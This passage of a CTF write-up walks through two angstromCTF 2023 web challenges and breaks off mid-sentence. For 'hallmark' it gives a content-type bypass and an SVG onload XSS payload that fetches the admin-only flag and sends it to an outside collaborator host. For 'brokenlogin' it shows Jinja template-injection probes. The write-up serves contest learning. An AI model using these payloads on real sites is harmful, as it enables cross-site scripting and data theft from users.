<span class="kd">const</span><span class="w"> </span><span class="nx">secret</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">ADMIN_SECRET</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="s2">"secretpw"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">flag</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">FLAG</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="s2">"actf{placeholder_flag}"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">cards</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="s1">'/static'</span><span class="p">,</span><span class="w"> </span><span class="nx">express</span><span class="p">.</span><span class="k">static</span><span class="p">(</span><span class="s1">'static'</span><span class="p">))</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"/card"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="s2">"Content-Type"</span><span class="p">,</span><span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">].</span><span class="nx">type</span><span class="p">);</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">cards</span><span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">].</span><span class="nx">content</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"bad id"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="s2">"/card"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">svg</span><span class="p">,</span><span class="w"> </span><span class="nx">content</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"text/plain"</span><span class="p">;</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">v4</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">svg</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"text"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"text/plain"</span><span class="p">;</span>
<span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">id</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">type</span><span class="p">,</span><span class="w"> </span><span class="nx">content</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"image/svg+xml"</span><span class="p">;</span>
<span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">id</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">type</span><span class="p">,</span><span class="w"> </span><span class="nx">content</span><span class="o">:</span><span class="w"> </span><span class="nx">IMAGES</span><span class="p">[</span><span class="nx">svg</span><span class="p">]</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="s2">"/card?id="</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">id</span><span class="p">);</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="s2">"/card"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span><span class="nx">type</span><span class="p">,</span><span class="w"> </span><span class="nx">svg</span><span class="p">,</span><span class="w"> </span><span class="nx">content</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">id</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="o">!</span><span class="nx">cards</span><span class="p">[</span><span class="nx">id</span><span class="p">]){</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"bad id"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">id</span><span class="p">].</span><span class="nx">type</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"image/svg+xml"</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="s2">"text/plain"</span><span class="p">;</span>
<span class="w"> </span><span class="nx">cards</span><span class="p">[</span><span class="nx">id</span><span class="p">].</span><span class="nx">content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"image/svg+xml"</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">IMAGES</span><span class="p">[</span><span class="nx">svg</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="s2">"heart"</span><span class="p">]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">content</span><span class="p">;</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"ok"</span><span class="p">);</span>
<span class="p">});</span>
<span class="c1">// the admin bot will be able to access this</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"/flag"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">secret</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="nx">secret</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">flag</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"you can't view this >:("</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"/"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">__dirname</span><span class="p">,</span><span class="w"> </span><span class="s2">"index.html"</span><span class="p">));</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="nx">port</span><span class="p">,</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Server listening on port </span><span class="si">${</span><span class="nx">port</span><span class="si">}</span><span class="sb">.`</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div>
<p>There were three actions for the <code>card</code> endpoint:</p>
<ul>
<li>GET: required the get parameter <code>id</code> and would display the card if the <code>id</code> existed.</li>
<li>POST: generated a card, the action used by the site when generating a card</li>
<li>PUT: this method was never used on the site directly but could be used manually to edit a card</li>
</ul>
<p>We generated an SVG card using the application user interface (this used the <code>/card</code> POST method).</p>
<div class="highlight"><pre><span></span><code>POST /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
svg=heart&content=aaa
</code></pre></div>
<p>The response contained our card ID.</p>
<div class="highlight"><pre><span></span><code>HTTP/1.1 302 Found
Server: nginx/1.23.3
Date: Thu, 26 Apr 2023 19:29:04 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 67
Connection: keep-alive
X-Powered-By: Express
Location: /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74
Vary: Accept
Found. Redirecting to /card?id=eb184d2d-6ae9-416d-adb4-6f89afca7e74
</code></pre></div>
<p>We modified the card using the PUT method. In order to keep the <code>Content-Type</code> as <code>image/svg+xml</code> we
needed to take advantage of the loose comparison <code>cards[id].type = type == "image/svg+xml" ? type : "text/plain";</code>
using <code>type[]=image/svg%2bxml</code>. We also included an SVG file containing a XSS payload (a simple
<code>alert('XSS')</code> for now).</p>
<div class="highlight"><pre><span></span><code>PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1601
svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a 2000="" svg"+width%3d"400"+height%3d"400"+viewbox%3d"0+0+400+400"+onload%3d"alert('xss')"="" www.w3.org=""><path+fill%3d"%23465283"+d%3d"m32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067h40.29l-8.365+41.618h1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219h58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617h262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"></path+fill%3d"%23465283"+d%3d"m32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067h40.29l-8.365+41.618h1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219h58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617h262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22">&id=498b8244-43c1-4ae1-a520-89b33fd164fe
</svg+xmlns%3d"http%3a></code></pre></div>
<p>The XSS was triggered when browsing the card:
<img alt="XSS triggered" src="/media/2023.05/hallmark.png"/></p>
<p>We craft a payload that will request the flag and send it to a Burp collaborator:
<code>fetch('/flag').then(flag=>flag.text()).then(flag => fetch('https://burp.collaborator/'+flag))</code></p>
<p>We modify the SVG file:</p>
<div class="highlight"><pre><span></span><code>PUT /card HTTP/1.1
Host: hallmark.web.actf.co
Content-Type: application/x-www-form-urlencoded
Content-Length: 1713
svg=heart&type[]=image/svg%2bxml&content=<svg+xmlns%3d"http%3a 2000="" flag').then(flag="" svg"+width%3d"400"+height%3d"400"+viewbox%3d"0+0+400+400"+onload%3d"fetch('="" www.w3.org="">flag.text()).then(flag+%3d>+fetch('https://f8oln394j5jyuy7praekidg2vt1kpbd0.oastify.com/'%2bflag))"><path+fill%3d"%23465283"+d%3d"m32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067h40.29l-8.365+41.618h1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219h58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617h262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22"></path+fill%3d"%23465283"+d%3d"m32.805+143.09h58.993c17.316.145+29.863+5.11+37.64+14.894+7.778+9.784+10.346+23.146+7.705+40.085-1.027+7.74-3.301+15.333-6.824+22.78-3.375+7.448-8.071+14.165-14.087+20.153-7.338+7.593-15.189+12.412-23.554+14.456-8.364+2.045-17.022+3.067-25.974+3.067h40.29l-8.365+41.618h1.328l31.477-157.054m25.755+24.97l-13.207+65.714c.88.146+1.76.219+2.641.219h3.082c14.087.146+25.827-1.241+35.22-4.162+9.39-3.066+15.7-13.726+18.93-31.98+2.64-15.333-.001-24.168-7.926-26.504-7.777-2.337-17.536-3.431-29.275-3.286a61.27+61.27+0+0+1-5.063.219h58.34l.22-.22m113.445-66.795h30.377l-8.585+41.838h27.295c14.969.291+26.121+3.358+33.459+9.2+7.484+5.84+9.686+16.939+6.603+33.294l-14.748+72.941h-30.817l14.088-69.655c1.467-7.302+1.027-12.486-1.32-15.553-2.349-3.066-7.412-4.599-15.189-4.599l-24.434-.22-18.049+90.027h-30.377l31.697-157.272m121.773+41.824h58.992c17.317.146+29.864+5.112+37.641+14.895+7.777+9.784+10.346+23.146+7.704+40.085-1.027+7.74-3.301+15.333-6.823+22.78-3.376+7.448-8.072+14.165-14.088+20.153-7.338+7.593-15.188+12.412-23.554+14.456-8.363+2.045-17.022+3.067-25.973+3.067h-26.415l-8.364+41.617h262.3l31.478-157.053m25.754+24.97l-13.208+65.714a16.17+16.17+0+0+0+2.643.219h3.08c14.09.146+25.829-1.241+35.22-4.162+9.392-3.066+15.703-13.726+18.931-31.98+2.641-15.333+0-24.168-7.924-26.504-7.778-2.337-17.537-3.431-29.277-3.286a61.31+61.31+0+0+1-5.061.219h-4.624l.22-.22">&id=498b8244-43c1-4ae1-a520-89b33fd164fe
</svg+xmlns%3d"http%3a></code></pre></div>
<p>We verified that our payload was working and got an interaction
<code>/you%20can't%20view%20this%20%3E:(?p0wu1=1</code> on our collaborator instance.</p>
<p>Then, we sent our card to the admin and got the flag as a collaborator interaction:</p>
<p>`GET /actf%7Bthe_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33%7D HTTP/1.1</p>
<h1>brokenlogin</h1>
<ul>
<li>110 points</li>
<li>167 solves</li>
</ul>
<p>The application was an authentication form with an impossible login. As the previous challenge an
administrator is simulated with a web page. Below is the JavaScript for the admin bot:</p>
<div class="highlight"><pre><span></span><code><span class="nx">module</span><span class="p">.</span><span class="nx">exports</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s2">"brokenlogin"</span><span class="p">,</span>
<span class="w"> </span><span class="nx">timeout</span><span class="o">:</span><span class="w"> </span><span class="mf">7000</span><span class="p">,</span>
<span class="w"> </span><span class="k">async</span><span class="w"> </span><span class="nx">execute</span><span class="p">(</span><span class="nx">browser</span><span class="p">,</span><span class="w"> </span><span class="nx">url</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="sr">/^https:\/\/brokenlogin\.web\.actf\.co\/.*/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">url</span><span class="p">))</span><span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">page</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">waitForNetworkIdle</span><span class="p">({</span>
<span class="w"> </span><span class="nx">timeout</span><span class="o">:</span><span class="w"> </span><span class="mf">5000</span><span class="p">,</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s2">"input[name=username]"</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span>
<span class="w"> </span><span class="s2">"input[name=username]"</span><span class="p">,</span>
<span class="w"> </span><span class="p">(</span><span class="nx">el</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">(</span><span class="nx">el</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">)</span>
<span class="w"> </span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s2">"input[name=password]"</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span>
<span class="w"> </span><span class="s2">"input[name=password]"</span><span class="p">,</span>
<span class="w"> </span><span class="p">(</span><span class="nx">el</span><span class="p">,</span><span class="w"> </span><span class="nx">password</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">(</span><span class="nx">el</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">password</span><span class="p">),</span>
<span class="w"> </span><span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">CHALL_BROKENLOGIN_FLAG</span>
<span class="w"> </span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s2">"input[type=submit]"</span><span class="p">);</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span><span class="w"> </span><span class="mf">1000</span><span class="p">));</span>
<span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">page</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
<span class="w"> </span><span class="p">},</span>
<span class="p">};</span>
</code></pre></div>
<p>Looking at the source code we
noticed that a Flask Jinja template is used to build the page. In addition, it is possible to add a
custom failure message using a GET parameter message.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">make_response</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">escape</span><span class="p">,</span> <span class="n">render_template_string</span>
<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
<span class="n">fails</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">indexPage</span> <span class="o">=</span> <span class="s2">"""</span>
<span class="s2"><html></html></span>
<span class="s2"> <head></head></span>
<span class="s2"> <title>Broken Login</title></span>
<span class="s2"> </span>
<span class="s2"> <body></body></span>
<span class="s2"> <p style="color: red; fontSize: '28px';"></p></span><span class="si">%s</span><span class="s2"></span>
<span class="s2"> <p>Number of failed logins: {{ fails }}</p></span>
<span class="s2"> <form action="/" method="POST"></form></span>
<span class="s2"> <label for="username">Username: </label></span>
<span class="s2"> <input id="username" name="username" type="text"/><br/><br/></span>
<span class="s2"> <label for="password">Password: </label></span>
<span class="s2"> <input id="password" name="password" type="password"/><br/><br/></span>
<span class="s2"> <input type="submit"/></span>
<span class="s2"> </span>
<span class="s2"> </span>
<span class="s2"></span>
<span class="s2">"""</span>
<span class="nd">@app</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"/"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
<span class="k">global</span> <span class="n">fails</span>
<span class="n">custom_message</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">if</span> <span class="s2">"message"</span> <span class="ow">in</span> <span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="p">[</span><span class="s2">"message"</span><span class="p">])</span> <span class="o">>=</span> <span class="mi">25</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template_string</span><span class="p">(</span><span class="n">indexPage</span><span class="p">,</span> <span class="n">fails</span><span class="o">=</span><span class="n">fails</span><span class="p">)</span>
<span class="n">custom_message</span> <span class="o">=</span> <span class="n">escape</span><span class="p">(</span><span class="n">request</span><span class="o">.</span><span class="n">args</span><span class="p">[</span><span class="s2">"message"</span><span class="p">])</span>
<span class="k">return</span> <span class="n">render_template_string</span><span class="p">(</span><span class="n">indexPage</span> <span class="o">%</span> <span class="n">custom_message</span><span class="p">,</span> <span class="n">fails</span><span class="o">=</span><span class="n">fails</span><span class="p">)</span>
<span class="nd">@app</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s2">"/"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
<span class="k">global</span> <span class="n">fails</span>
<span class="n">fails</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">make_response</span><span class="p">(</span><span class="s2">"wrong username or password"</span><span class="p">,</span> <span class="mi">401</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">app</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="s2">"0.0.0.0"</span><span class="p">)</span>
</code></pre></div>
<p>For instance <code>https://brokenlogin.web.actf.co/?message=aa</code> would display <code>aa</code> at the beginning of the
page (in red). This parameter is interpreted as a Jinja2 input and <code>7*7</code> would result in <code>49</code>. We
could also use <code>https://brokenlogin.web.actf.co/?message={{%20config.items()%20}}</code> to retrieve the
configuration.</p>
<div class="highlight"><pre><span></span><code>dict_items([('ENV', 2), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', None), ('JSON_SORT_KEYS', None), ('JSONIFY_PRETTYPRINT_REGULAR', None), ('JSONIFY_MIMETYPE', None), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('g', Undefined), ('a', 2), ('x', 13), ('aa', 1), ('add', 1), ('z', 2), (6, 9), ('q', 2)])
</code></pre></div>
<p>We were limited by a length check and our custom message could not be more than 25 characters. But
